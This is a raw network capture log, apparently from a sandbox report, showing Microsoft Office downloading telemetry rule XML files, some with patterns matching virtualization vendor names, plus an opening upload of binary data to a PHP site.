2024-12-07 16:35:42 UTC	15331	OUT	Data Raw: 76 a8 c0 36 e0 18 8e 94 87 17 b7 15 80 dc b3 2b 4a 35 36 7c cf b7 1a 85 87 18 da 06 28 c8 40 88 fc a3 5b 6f 06 30 83 52 4c 1a 6a ab 4a 68 7b 08 e3 e0 02 60 82 65 1c 92 07 40 5c 2b b8 37 7b 98 9b 8a 08 e6 d0 19 3f ad e4 1e ea e2 d6 ba d6 4e 7d 26 76 ba c7 aa eb 19 02 0b c3 6a 0d 95 d5 66 ad 60 a9 4d fe ef 44 b9 6e 08 61 e0 b9 72 73 b9 f3 44 68 e1 5a d5 d3 b0 66 c8 24 32 f5 69 b0 85 31 69 90 c4 14 c2 77 08 de 53 9b 0f 01 50 86 6c d1 61 f0 55 01 58 0b a1 71 9a bf 90 1f 1f 19 ca 09 48 e9 ad a5 83 55 11 80 98 5c f0 93 cb 3f b1 56 eb 65 6d 18 ee 17 a6 c5 17 be 2c 45 31 6b f2 3b 03 32 0f 5d d5 e1 34 1d 85 5a 27 6a 57 5c 82 31 23 b8 49 1c 94 6e 27 a8 75 01 70 63 5f 82 e0 54 78 d4 b7 b3 c5 8e 73 4b 1e 7b b3 85 96 b9 d8 96 10 b5 32 e9 38 77 9f 10 5f e9 65 3f 93 22 Data Ascii: v6+J56\|(@[o0RLjJh{`e@\+7{?N}&vjf`MDnarsDhZf$2i1iwSPlaUXqHU\?Vem,E1k;2]4Z'jW\1#In'upc_TxsK{28w_e?"
2024-12-07 16:35:50 UTC	1048	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tk7bq0s7seogkua9ogjn476r8i; expires=Wed, 02-Apr-2025 10:22:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uYOYeYLOSuadz8F0PXY7kWYfv%2FA4s9Z7iaxAQ0Y2IdtRpB8IRRWfCpzC62qy2uGDRARdq7es%2FfNWGXi%2BHf%2FKqzKxIvB4LrRdaYpdXo2nDIyCxuc73GmBEbEHjz4t7IvqQI8rGP4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5ee2fad4e7281-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&min_rtt=1800&rtt_var=697&sent=312&recv=603&lost=0&retrans=0&sent_bytes=2846&recv_bytes=586065&delivery_rate=1544156&cwnd=214&unsent_bytes=0&cid=9dfa5e2ba4e0f58a&ts=8510&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:42 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163543Z-r1cf579d7786c2tshC1EWRr1gc00000002gg000000004uy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:42 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163543Z-r1cf579d7786c2tshC1EWRr1gc00000002g0000000004q1u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:43 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163543Z-r1cf579d778xr2r4hC1EWRqvfs00000002yg000000002t8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:43 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163543Z-r1cf579d778d5zkmhC1EWRk6h80000000390000000006y0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:43 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163543Z-r1cf579d778w59f9hC1EWRze6w0000000350000000002mzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:44 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163545Z-r1cf579d778dc6d7hC1EWR2vs800000003kg0000000036xd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:45 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:45 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163545Z-r1cf579d77867vg8hC1EWR8knc00000002ng000000006v8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:45 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:45 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:45 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: e27c4e9c-301e-0099-680b-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163545Z-r1cf579d778x776bhC1EWRdk8000000002s0000000008zy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:46 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:45 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163545Z-r1cf579d778qgtz2hC1EWRmgks00000002mg000000007yu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:45 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:45 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8a885dcd-801e-0078-280b-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163545Z-r1cf579d778d5zkmhC1EWRk6h80000000380000000008a07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:47 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 32d588ee-b01e-003e-0206-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163547Z-r1cf579d778qgtz2hC1EWRmgks00000002m0000000008dp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
